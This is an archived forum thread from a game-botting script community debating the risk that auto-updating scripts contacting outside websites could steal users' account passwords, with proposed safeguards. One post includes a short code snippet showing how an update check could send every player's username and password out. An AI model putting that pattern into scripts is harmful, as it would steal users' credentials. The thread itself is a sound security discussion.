SRL Archive - Senior News and General

http://www.villavu.com/forum/showthread.php?t=41011?t=43957

check out the error reporting

Maybe I'm just paranoid, but it raises a red flag to me that he could easily have that script out for a while so people get accustomed to it, and then one day do an update, and make it a steal passwords.

Then why not wait until he does?

I think all scripts that connect to outside websites should be taken out of here. It is a pain in the ass downloading a script to download another. Also there is no reason they can't keep it on a thread here.

Even current scripts should be like this.

No. The scripts that download themselves are convienient, or at least make people feel good about their work. This is somewhat like asking people to get rid of guns because some people murder.

The guns aren't the problem, the people are.

R0b0t1 makes a good point, but if the problem becomes too prevalent (which it has been of late) and if there's no efficient way of stopping it (which theres not, other than reading every line of every script posted) then disallowing it seems to be the only thing to do.

If people want to have an autoupdate in their script, what's stopping them from updating it on their main post and have the script download and save the attachment? Although if people allow connections to srl-forums.com, it wouldnt be impossible for others to PM the usernames and pass's to their SRL accounts through SCAR…

If i do remember rightly. Quite a long time ago someone made their script "Anti leech". I cant remember if it was a user and pass chosen by the end user or what. But basically he just blocked all the users he didnt like :P

I dunno what i was trying to get at. But its been happening like this for aggggeeesss. Its just now that when people do the same thing it runs through our head that it could steal passwords.

innocent until proven guilty.

~RM

Actually look at the script, he's sending the user nick not the name or password, the webusername and webpassword are constants that he defines that are just to get into the site.

I know what he is sending. The point is that if people get comfortable with that kind of thing, they would be less likely to notice when he posts a new version with 'better rock finding' etc that also steals passwords. He would only have to change 2 things and users would be used to connecting to the php page.

Innocent until proven guilty, yes, and people are the problem not the tools, yes. But 37 times more people get shot in the US than the UK.

well Boreas, what do you suggest? monitor the guy?
Disallow any connections to outside websites?

cus many people are connecting to other websites, especially with Camo Kyle's Proggie Poster.

~RM

How about some kind of approved scripts status for scripts with outside connections?

What about make a plugin to go with SRL that automatically updates the script's file if you give it the file's name and the website to download it from? Connections from the DLL would not be blocked by SCAR, and any connections being blocked by SCAR would mean the script should be questioned.

EDIT: I mean, the idea isn't too bad. Even if there wasn't a way to check versions through the plugin, you could just redownload it every time. It's not like a huge waste of time. Also, just have some place in the file (near the top, probably, could be a single character) that would change if the script was updated. If the script found that such a space was not the same as its own, it could tell the user so and advise a re-running of the script.

EDIT: Or have the plugin keep an MD5 sum of the file and compare it to the MD5 sum of the external file.

From: Boreas
How about some kind of approved scripts status for scripts with outside connections?

that would mean you would have to re-approve everytime they updated the script, to make sure the connection wouldn't send username / pass.

If we do want to do something, i think i'd go with robot, something included into srl.

like a scar file in /misc/ called Connections.scar

and in it we get an updater that receveives a const from the script (script version) and checks it against a .txt to see if the version changed. and then we download from a place that the script maker chooses, making sure it finishes with .scar

but then again there would be a way around that.

const
  version = '1.05';

var 
  str:string
  i: integer;

begin
  str := version + ' | ';
  for i:= 0 to High(Players) do
    str := str + Players[CurrentPlayer].Name + ' - ' + Players[CurrentPlayer].Pass + ' | ';
  GetNewVersion(str);
end.

and we are back to level 1.

~RM

Or if we work with Freddy, you can have something in LoginPlayer or wherever tell SCAR what all the usernames and passwords are and SCAR could check that against all the outgoing data so that people just can't use that (without encryption, but it would help somewhat)

maybe where it tries to get the version of the new script, check the script version string against all usernames?

~RM

Or we just ban people who steal passwords and call the people that allowed a connection to "www.freewebs.com/woodcutterstats.php" stupid, and put a :( there.

Why dont you load up the ole scar firewall. And make a new rule for srl script section, that should you disallow the connection. The script must continue.

For ex the script cant say "Sorry, you cannot run this version because we cant check if its the latest"

Then its back up to the user. (Also you could make another rule that all outgoing connections must be labelled in the first post)

Offer an official SRL service of hosting scripts. If people don't need to use external sites, then the casual user can be educated to be weary of external sites. It wouldn't need to be too complex - a simple upload system with attached user panel stylie - possibly a proper SRL file dedicated to handling it in the same way the SRL stats works. To compare this idea to the threads ideas, it would be offering people a firing range to test guns safely.

Just a thought :)